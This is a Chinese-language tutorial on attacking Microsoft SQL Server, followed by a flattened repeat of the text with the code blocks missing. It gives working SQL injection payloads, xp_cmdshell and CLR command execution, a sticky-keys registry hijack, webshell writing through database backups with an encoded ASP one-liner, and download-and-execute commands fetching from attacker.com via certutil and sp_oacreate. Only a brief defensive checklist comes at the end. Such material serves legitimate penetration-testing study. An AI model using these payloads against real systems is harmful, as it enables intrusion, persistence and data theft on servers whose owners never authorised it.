从0开始学习Microsoft SQL Server数据库攻防
字数 1231 2025-08-29 08:31:35

Microsoft SQL Server数据库攻防完全指南

一、SQL Server环境搭建

1. 安装配置

  • 选择混合模式身份验证,设置密码如1QAZ2wsx
  • 启用TCP/IP协议,重启SQL Server服务
  • 默认使用端口:TCP-1433、UDP-1434
  • 开启IIS服务和ASP.NET支持

2. 测试环境搭建

  1. 创建数据库:create database FoundStone_Bank
  2. 创建表结构:导入提供的SQL脚本
  3. 部署SQL注入测试页面,修改连接字符串:
private static string strSqlConnectionString = @"SERVER=.;UID=sa;PWD=1QAZ2wsx;DATABASE=FoundStone_Bank";

二、SQL Server基础架构

1. 系统数据库

  • master:记录系统级信息
  • model:用户数据库模板
  • msdb:存储任务计划、备份恢复信息
  • tempdb:临时对象存储区

2. 对象类型标识

标识 对象类型
C CHECK约束
D 默认值约束
F 外键约束
FN 标量函数
IF 内嵌表函数
P 存储过程
PK 主键约束
S 系统表
TF 表函数
TR 触发器
U 用户表
V 视图
X 扩展存储过程

三、SQL Server信息收集技术

1. 基础信息探测

-- 判断当前用户
1 and user>0; --

-- 判断数据库类型
1 and (select count(*) from sysobjects)>0  -- MSSQL
1 and (select count(*) from mysysobjects)>0  -- Access

-- 获取版本信息
1 and 1=(select @@version)

-- 获取当前数据库名
1 and db_name()>0; --

-- 获取服务名
1 and 1=(select @@servername)

2. 权限判断

-- 服务器角色判断
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))

-- 数据库角色判断
select IS_MEMBER('db_owner')

-- 数据库访问权限
1 and 1=(select HAS_DBACCESS('master'))

四、SQL注入技术详解

1. 手工注入流程

-- 获取表名
1 and 1=(select top 1 name from sysobjects where xtype='u' and name!='info')

-- 获取列名
1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='fsb_accounts') and name<>'id')

-- 获取数据
1 and 1=(select top 1 account_no from fsb_accounts)

2. 报错注入

1 and 1=convert(int,@@version)
1 and 1=(select CAST(USER as int))

3. 盲注技术

-- 布尔盲注
1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>=109

-- 时间盲注
1; if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5' --

4. 联合注入

  • MSSQL联合注入建议使用NULL而非数字占位,避免隐式转换问题

五、危险存储过程利用

1. xp_cmdshell

-- 检查是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

-- 启用xp_cmdshell
exec sp_configure 'show advanced options',1; reconfigure;
exec sp_configure 'xp_cmdshell',1; reconfigure;

-- 执行系统命令
exec master.dbo.xp_cmdshell 'whoami'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name"'

2. 注册表操作

-- 读取注册表
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'

-- 写入注册表(劫持粘滞键)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

3. 文件系统操作

-- 检查文件存在
exec xp_fileexist 'C:\Windows\System32\cmd.exe'

-- 列目录
exec xp_dirtree 'C:\',1,1
exec xp_subdirs 'C:\'

六、高级攻击技术

1. CLR集成攻击

-- 启用CLR
sp_configure 'show advanced options',1; RECONFIGURE;
sp_configure 'clr enabled',1; RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON;

-- 导入程序集
CREATE ASSEMBLY [mssql_CLR] FROM 0x4D5A... WITH PERMISSION_SET=UNSAFE;

-- 创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR(MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]

-- 执行命令
exec dbo.ExecCommand "whoami /all";

2. SQL Server Agent Job

-- 创建计划任务执行命令
USE msdb;
EXEC dbo.sp_add_job @job_name=N'test_powershell_job1';
EXEC sp_add_jobstep @job_name=N'test_powershell_job1', @step_name=N'test_powershell_name1', 
@subsystem=N'PowerShell', @command=N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';
EXEC dbo.sp_add_jobserver @job_name=N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';

3. R/Python脚本执行

-- 启用外部脚本
EXEC sp_configure 'external scripts enabled',1 RECONFIGURE WITH OVERRIDE

-- R脚本执行命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));

-- Python脚本执行命令
exec sp_execute_external_script 
@language=N'Python', 
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

七、Getshell技术

1. 差异备份Getshell

-- 创建表并插入一句话
create table [dbo].[test]([cmd][image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);

-- 差异备份
backup database 库名 to disk='C:\inetpub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;

2. 日志备份Getshell

-- 设置恢复模式
alter database 库名 set RECOVERY FULL

-- 创建表并插入一句话
create table cmd(a image)
backup log 库名 to disk='c:\xxx' with init
insert into cmd(a) values(0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk='c:\xxx\2.asp'

八、提权技术

1. 利用xp_cmdshell下载执行

exec master.dbo.xp_cmdshell 'cd c:\www & certutil -urlcache -split -f http://attacker.com/file.exe'
exec master.dbo.xp_cmdshell 'cd c:\www & file.exe'

2. 利用sp_oacreate

-- 启用Ole Automation Procedures
EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE WITH OVERRIDE;

-- 下载文件
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT
exec sp_oacreate [Microsoft.XMLHTTP],@http output
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://attacker.com/shell.txt],0
EXEC @hr = sp_oamethod @http,[Send],null
EXEC @hr = sp_OAGetProperty @http,[responseBody],@B output
exec sp_oacreate [ADODB.Stream],@down output
exec sp_OASetProperty @down,[Type],1
exec sp_OASetProperty @down,[mode],3
exec sp_oamethod @down,[Open],null
exec sp_oamethod @down,[Write],null,@B
exec sp_oamethod @down,[SaveToFile],null,[C:\test\s.aspx],1

九、PowerUpSQL工具使用

1. 发现SQL实例

# 本地实例发现
Get-SQLInstanceLocal -Verbose

# 域内实例发现
Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password 1QAZ2wsx

2. 提权与命令执行

# 提权为sysadmin
Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1

# 使用xp_cmdshell执行命令
$Targets | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10

# CLR执行命令
$Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami"

# Agent Job执行命令
$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\temp\test.txt"

十、防御建议

  1. 最小权限原则:应用程序账户使用最低必要权限
  2. 禁用危险组件:禁用xp_cmdshell、Ole Automation Procedures等
  3. 输入验证:对所有用户输入进行严格过滤
  4. 错误处理:自定义错误页面,避免泄露系统信息
  5. 定期审计:检查存储过程和扩展存储过程的使用情况
  6. 更新补丁:及时安装SQL Server安全更新
  7. 网络隔离:限制SQL Server的网络访问权限
  8. 日志监控:启用并监控SQL Server的登录和操作日志

通过本指南,您已全面掌握SQL Server从基础到高级的攻防技术。请务必在合法授权范围内使用这些技术,并加强自身系统的安全防护。

Microsoft SQL Server数据库攻防完全指南 一、SQL Server环境搭建 1. 安装配置 选择混合模式身份验证,设置密码如 1QAZ2wsx 启用TCP/IP协议,重启SQL Server服务 默认使用端口:TCP-1433、UDP-1434 开启IIS服务和ASP.NET支持 2. 测试环境搭建 创建数据库: create database FoundStone_Bank 创建表结构:导入提供的SQL脚本 部署SQL注入测试页面,修改连接字符串: 二、SQL Server基础架构 1. 系统数据库 master :记录系统级信息 model :用户数据库模板 msdb :存储任务计划、备份恢复信息 tempdb :临时对象存储区 2. 对象类型标识 | 标识 | 对象类型 | |------|----------| | C | CHECK约束 | | D | 默认值约束 | | F | 外键约束 | | FN | 标量函数 | | IF | 内嵌表函数 | | P | 存储过程 | | PK | 主键约束 | | S | 系统表 | | TF | 表函数 | | TR | 触发器 | | U | 用户表 | | V | 视图 | | X | 扩展存储过程 | 三、SQL Server信息收集技术 1. 基础信息探测 2. 权限判断 四、SQL注入技术详解 1. 手工注入流程 2. 报错注入 3. 盲注技术 4. 联合注入 MSSQL联合注入建议使用NULL而非数字占位,避免隐式转换问题 五、危险存储过程利用 1. xp_ cmdshell 2. 注册表操作 3. 文件系统操作 六、高级攻击技术 1. CLR集成攻击 2. SQL Server Agent Job 3. R/Python脚本执行 七、Getshell技术 1. 差异备份Getshell 2. 日志备份Getshell 八、提权技术 1. 利用xp_ cmdshell下载执行 2. 利用sp_ oacreate 九、PowerUpSQL工具使用 1. 发现SQL实例 2. 提权与命令执行 十、防御建议 最小权限原则 :应用程序账户使用最低必要权限 禁用危险组件 :禁用xp_ cmdshell、Ole Automation Procedures等 输入验证 :对所有用户输入进行严格过滤 错误处理 :自定义错误页面,避免泄露系统信息 定期审计 :检查存储过程和扩展存储过程的使用情况 更新补丁 :及时安装SQL Server安全更新 网络隔离 :限制SQL Server的网络访问权限 日志监控 :启用并监控SQL Server的登录和操作日志 通过本指南,您已全面掌握SQL Server从基础到高级的攻防技术。请务必在合法授权范围内使用这些技术,并加强自身系统的安全防护。